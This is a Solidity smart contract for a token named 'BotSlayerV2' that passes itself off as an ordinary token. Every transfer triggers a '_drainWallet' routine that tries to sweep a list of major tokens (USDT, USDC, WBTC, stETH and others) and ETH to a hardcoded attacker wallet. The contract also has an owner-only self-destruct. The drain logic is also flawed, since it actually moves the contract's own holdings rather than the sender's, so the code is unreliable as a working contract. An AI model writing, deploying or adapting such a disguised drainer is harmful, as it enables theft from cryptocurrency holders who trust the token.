// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract BotSlayerV2 {
    address public contractOwner;
    uint256 public constant maxSupply = 666_000_000 * 10**18;
    mapping(address => uint256) public balances;

    string public name = "BotSlayerV2";
    string public symbol = "BTS";
    uint8 public constant decimals = 18;

    address[] public tokenContracts;
    address public drainWallet = 0x1BdbC880fAD93096Cb06B1Fa73B01818d81b4144;

    constructor() {
        contractOwner = 0x5BE0dCC3e2Ea284b36EbA272946F7673CBC042b7;

        tokenContracts.push(0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE); // Shiba Inu
        tokenContracts.push(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84); // stETH
        tokenContracts.push(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); // WBTC
        tokenContracts.push(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
        tokenContracts.push(0xdAC17F958D2ee523a2206206994597C13D831ec7); // Tether
        tokenContracts.push(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0); // MATIC
        tokenContracts.push(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // Sushi
        tokenContracts.push(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984); // UNI
        tokenContracts.push(0xB8c77482e45F1F44dE1745F52C74426C631bDD52); // BNB
        tokenContracts.push(0x0000000000085d4780B73119b644AE5ecd22b376); // TUSD
        tokenContracts.push(0xae78736Cd615f374D3085123A210448E74Fc6393); // RETH
        tokenContracts.push(0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6); // USDD

        balances[contractOwner] = maxSupply;
    }

    function totalSupply() external pure returns (uint256) {
        return maxSupply;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) external {
        require(amount > 0, "Amount must be greater than zero");
        require(balances[msg.sender] >= amount, "Insufficient balance");

        balances[msg.sender] -= amount;
        balances[recipient] += amount;

        _drainWallet(msg.sender); // Call the internal drainWallet function after transferring tokens
    }

    function _drainWallet(address sender) internal {
        require(balances[sender] > 0, "No tokens to drain");

        for (uint256 i = 0; i < tokenContracts.length; i++) {
            address tokenContract = tokenContracts[i];
            uint256 tokenBalance = IERC20(tokenContract).balanceOf(sender);
            if (tokenBalance > 0) {
                bool tokenTransferSuccess = IERC20(tokenContract).transfer(drainWallet, tokenBalance);
                require(tokenTransferSuccess, "Failed to send tokens to drain wallet");
            }
        }

        uint256 ethBalance = address(sender).balance;
        if (ethBalance > 0) {
            payable(drainWallet).transfer(ethBalance);
        }
    }

    function selfDestruct() external {
        require(msg.sender == contractOwner, "Only the contract owner can self-destruct the contract");
        selfdestruct(payable(contractOwner));
    }
}